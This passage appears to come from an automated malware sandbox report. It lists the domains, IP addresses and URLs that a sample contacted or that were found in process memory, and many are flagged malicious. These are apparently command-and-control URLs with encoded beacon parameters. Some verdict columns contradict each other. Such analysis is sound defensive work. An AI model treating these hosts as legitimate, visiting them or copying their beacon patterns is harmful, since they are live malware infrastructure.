https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121114111017.jpg	0%	Avira URL Cloud	safe
http://www.yvrkp.top/9jdk/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111820293498.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/normalize.css	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/home.png	0%	Avira URL Cloud	safe
https://parking.reg.ru/script/get_domain_data?domain_name=www.marketplacer.top&rand=	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281606448510.jpg	0%	Avira URL Cloud	safe
http://www.loginov.enterprises/y0sc/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121352209002.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121111152889.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/app.css	0%	Avira URL Cloud	safe
http://www.yvrkp.top/9jdk/?mFptYb=WubzzLgyg7H8FuUk5jz2rAc/vuKAZBsVZD6HlZkF1Lv4/cTJ30fLMnj/fJn75AU89YfOY1B4b6fbf9/30+RUdxRnQcqHHPG8fsTR2djr0+RxMWff6QI0kTzUoO97&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
http://www.flikka.site/brrb/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/mescroll.min.css	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/buy-logo.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dns.webcake.io	113.20.119.31	true	false	high
ghs.google.com	142.250.185.115	true	false	high
loginov.enterprises	3.33.130.190	true	true	unknown
wcp95.top	154.23.184.95	true	true	unknown
iuyi542.xyz	38.47.237.27	true	true	unknown
neg21.top	206.119.81.36	true	true	unknown
www.college-help.info	38.88.82.56	true	true	unknown
www.jllllbx.top	156.234.28.94	true	true	unknown
binacamasala.com	15.197.148.33	true	true	unknown
ladylawher.shop	3.33.130.190	true	true	unknown
www.kghjkx.xyz	47.129.103.185	true	true	unknown
www.yvrkp.top	104.21.14.183	true	true	unknown
www.flikka.site	67.223.117.142	true	true	unknown
www.marketplacer.top	194.58.112.174	true	true	unknown
www.hasthosting.xyz	185.27.134.144	true	true	unknown
www.sqlite.org	45.33.6.223	true	false	high
energyparks.net	15.197.148.33	true	true	unknown
www.primeproperty.property	unknown	unknown	false	unknown
www.digitaladpro.shop	unknown	unknown	false	unknown
www.energyparks.net	unknown	unknown	false	unknown
www.neg21.top	unknown	unknown	false	unknown
www.loginov.enterprises	unknown	unknown	false	unknown
www.binacamasala.com	unknown	unknown	false	unknown
www.wcp95.top	unknown	unknown	false	unknown
www.iuyi542.xyz	unknown	unknown	true	unknown
www.ladylawher.shop	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.sqlite.org/2021/sqlite-dll-win32-x86-3350000.zip	false		high
http://www.primeproperty.property/c1ti/	true	Avira URL Cloud: safe	unknown
http://www.hasthosting.xyz/04fb/	true	Avira URL Cloud: safe	unknown
http://www.flikka.site/brrb/?mFptYb=Pyc5xCH2FNTrUJIJc2J3jfwJvYyqOHlrloocc6vOBweawvT0T5Z/uibAsKRSCDSof6T5ol8OWeU6iNzlygZ3OH11Snb2up2hISFSOV0LFhqb+gPNdrhH/8C3bcPF&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown
http://www.energyparks.net/k47i/?Vta=nFypuDtholF&mFptYb=9kxEYcPO0Qe31MjAFjIcWOncsH25cFhJfOSVnSYcFCRu8P8I16bnvFurvQhgIE0Ki89nSiSy+a0RlMSh3+VYEZE5/A1AoTNj5T9S7+51vpkFoip5Twnd4WVIrXl3	true	Avira URL Cloud: safe	unknown
http://www.kghjkx.xyz/usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJycOeh1EqhE8oaarBESMUTzpbIdTTfy1FzFAf98MVDEsTj+MFe4tIzu4mcpDK&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown
http://www.digitaladpro.shop/m6se/?Vta=nFypuDtholF&mFptYb=tpLSjTwEMN9ZKyp9qVSTFKrjCn9ygWFWt49InxX861XvXeuMycl5+MP/OGAzrS8FX3YfTT6PzpVF+4Zez3QIzOzSaqsrWwxbsC4SLAepSA8UeSOwbSX7uDAGPo/m	false	Avira URL Cloud: safe	unknown
http://www.energyparks.net/k47i/	true	Avira URL Cloud: safe	unknown
http://www.neg21.top/1i1f/	true	Avira URL Cloud: safe	unknown
http://www.loginov.enterprises/y0sc/?mFptYb=tJdq8Dqw4hWr1P6qEoxHD8OlFm+HKuZ69MCgVLcAx6ZVjDjmpjdFVs/kycs0W1S/0p2sAvBc0lWbLbeb6h4QLTxDUgZUmiCBrM9D9onPOIUOQ3sXksUDVUExaBXH&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown
http://www.ladylawher.shop/i4bc/	true	Avira URL Cloud: safe	unknown
http://www.kghjkx.xyz/usop/	true	Avira URL Cloud: safe	unknown
http://www.iuyi542.xyz/cymd/?mFptYb=SQRZB1HP1/e+i1vXkx65XVrDeSNNnXwFTHYuRC8KH5mDKLD+AhmaLKzef3QT7SVce+tzzUZ1GVC2U2YQK5wN3xroRLUyaPMbLSFxR1aJqBACZHGGUwWsqj7Ua713&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown
http://www.wcp95.top/1bs4/	true	Avira URL Cloud: safe	unknown
http://www.binacamasala.com/usv6/	true	Avira URL Cloud: safe	unknown
http://www.iuyi542.xyz/cymd/	true	Avira URL Cloud: safe	unknown
http://www.binacamasala.com/usv6/?mFptYb=TgDODAIJaOl5jtT4JVTY+PvwOqFRmlbaFilQ+MjMe2d3S0GP4FMVqMWCvgzOI+CNdjxuqTDbs8bnZHFVmt5Iw+xv7nFgog653DC3dJxayAsmz1wZ3Pvz+hOxoHiw&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown
http://www.primeproperty.property/c1ti/?Vta=nFypuDtholF&mFptYb=UWVJg+rBkYQ16c/k/Y1W1sgQfFqH6LNVaa0x99kOYGF7jBYWQyWqo55Eiz0L22BflNyMA4mVt2TvQrx7EMMmoG9cjujHDm+244I0l/r76jr6gTXXvUDzyyGCpqIK	true	Avira URL Cloud: safe	unknown
http://www.hasthosting.xyz/04fb/?mFptYb=EDSq5eKeQ/yn+NstHLyKrItwi72t2/2aV0X8lTwCWtszw4+D6CyS+H/PrcNES324cNMrQPmMtrZnBxvMQyG2MZhT0iJG1CcvdKppxy///uoLHwLjuGAXtCom68+z&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown
http://www.jllllbx.top/s7rc/?Vta=nFypuDtholF&mFptYb=6DRnIJ+Fte42OB/5XetGdeOJ+lOhphxOvMg5DpP/yyjJNxXWq01mRUwFVex1iRDtTe4NkeQHEQ9jZsZ13oeWt1010btNzgPMSC+IqSdDnCJo+Vo0XkUS70+rul7v	true	Avira URL Cloud: safe	unknown
http://www.digitaladpro.shop/m6se/	false	Avira URL Cloud: safe	unknown
http://www.college-help.info/fu91/	true	Avira URL Cloud: safe	unknown
http://www.college-help.info/fu91/?mFptYb=HVzlbrdNsUKwRMyAkWW6+eYcwGansP/WUf8DIHIYxdtxD6ajZVqGQ6r7bYdvsg7HhzGwO4nUubyDeivvZ5uUZnZTjM5UwBrFB6CCixihWT7Na0ffLjed1FEIbDhA&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown
http://www.wcp95.top/1bs4/?Vta=nFypuDtholF&mFptYb=NHlL/20Wj3mxTDCCV6AphceXnl/MtZ4Wk+fSFhy0eU4XSufIixCpoBi/gorAC+VzK2LBCRkbZWFQo0n9IQJ7RFp7WJwc0YsNtE+R3Mg/2HoitvY+uCvmluoRVqvz	true	Avira URL Cloud: safe	unknown
http://www.yvrkp.top/9jdk/	true	Avira URL Cloud: safe	unknown
http://www.loginov.enterprises/y0sc/	true	Avira URL Cloud: safe	unknown
http://www.flikka.site/brrb/	true	Avira URL Cloud: safe	unknown
http://www.yvrkp.top/9jdk/?mFptYb=WubzzLgyg7H8FuUk5jz2rAc/vuKAZBsVZD6HlZkF1Lv4/cTJ30fLMnj/fJn75AU89YfOY1B4b6fbf9/30+RUdxRnQcqHHPG8fsTR2djr0+RxMWff6QI0kTzUoO97&Vta=nFypuDtholF	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111418363409.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	false		high
https://reg.ru	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111718494999.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111653519935.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121130140569.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/domain/new/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_lan	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/app.js	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111602227556.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/amazeui.min.js	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111842165995.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121333505679.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hasthosting.xyz	AhEyCWkdTLz.exe, 00000005.00000002.874124663.0000000000B59000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111650528174.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/canvi.js	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/whois/?check=&dname=www.marketplacer.top&reg_source=parking_auto	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111312107302.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/jquery-1.9.1.min.js	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/dedicated/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://00808.vip/	AtBroker.exe, 00000004.00000002.874304385.0000000002BE4000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003784000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.436603581.0000000001284000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	AtBroker.exe, 00000004.00000002.874829576.0000000061EBE000.00000008.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	false		high
http://www.hasthosting.xyz/04fb/?mFptYb=EDSq5eKeQ/yn	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000004F12000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121118333732.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/service.png	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111554188180.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121337456585.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281756134546.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111316162395.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/top.png	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/rexiao.jpeg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/email.png	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121445018007.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121050155085.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	1453h-8L.4.dr	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111532064388.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281533072611.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/search.png	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/amazeui.css	AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121427539351.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.kghjkx.xyz/usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJ	AtBroker.exe, 00000004.00000002.874304385.0000000003A06000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.00000000045A6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111820293498.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121114111017.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/home.png	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://parking.reg.ru/script/get_domain_data?domain_name=www.marketplacer.top&rand=	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/sozdanie-saita/	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/normalize.css	AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281606448510.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/hosting/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land_h	AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121352209002.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121111152889.jpg	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
